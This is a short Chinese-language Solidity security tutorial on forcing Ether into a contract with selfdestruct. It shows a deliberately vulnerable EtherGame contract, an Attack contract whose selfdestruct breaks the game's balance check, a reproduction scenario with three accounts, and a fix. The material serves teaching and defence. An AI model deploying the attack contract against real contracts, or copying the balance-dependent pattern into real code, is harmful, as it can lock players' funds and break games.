简介
Solidity有自毁函数selfdestruct(),该函数可以对创建的合约进行自毁,并且可以将合约里的Ether转到自毁函数定义的地址中。
在有些文章中 有把这个漏洞叫做强行将以太币置入合约
,用自毁功能强力发送以太币
复现
仔细看注释就可以了
pragma solidity ^0.6.0;
contract EtherGame{
// 这个游戏的赢家是成为第7个存入1 ether的玩家
uint public targetAmount = 7 ether;
address public winner;
// uint balance;
function deposit() public payable{
require(msg.value == 1 ether,"You can only send 1 ether"); // 只能存放1个ether
uint balance = address(this).balance;
// balance += msg.value;
require(balance<=targetAmount,"Game is over"); // 如果余额大于了7 游戏就结束了
if(balance == targetAmount){
winner = msg.sender;
}
}
function claimReward() public { // 获取奖励
require(msg.sender == winner,"Not winner");
(bool sent,) = msg.sender.call{value:address(this).balance}("");
require(sent);
}
function getBalance() public view returns(uint){
return address(this).balance;
}
}
contract Attack {
function attack(address payable target) public payable {
// 可以通过发送以太打破游戏平衡
// 大于7就打破了
// cast address to payable
selfdestruct(target);
}
}
- 第一个地址(小明) 游戏玩家
- 第二个地址(小刚) 游戏玩家
- 第三个地址(小雪) Hack
https://youtu.be/CmQp1KdIF3c
流程也就是:
- 部署两个合约
- 小明和小刚分别存入
1 ether
- 然后小雪出来捣乱破坏规则,存入
5 ether
- 然后
EtherGame
这个合约里 已经有7 ether
了 - 再去用游戏玩家去存入
ether
就会抛出异常Game is over
修复
不依赖address(this).balance
把uint balance = address(this).balance;
改为balance += msg.value;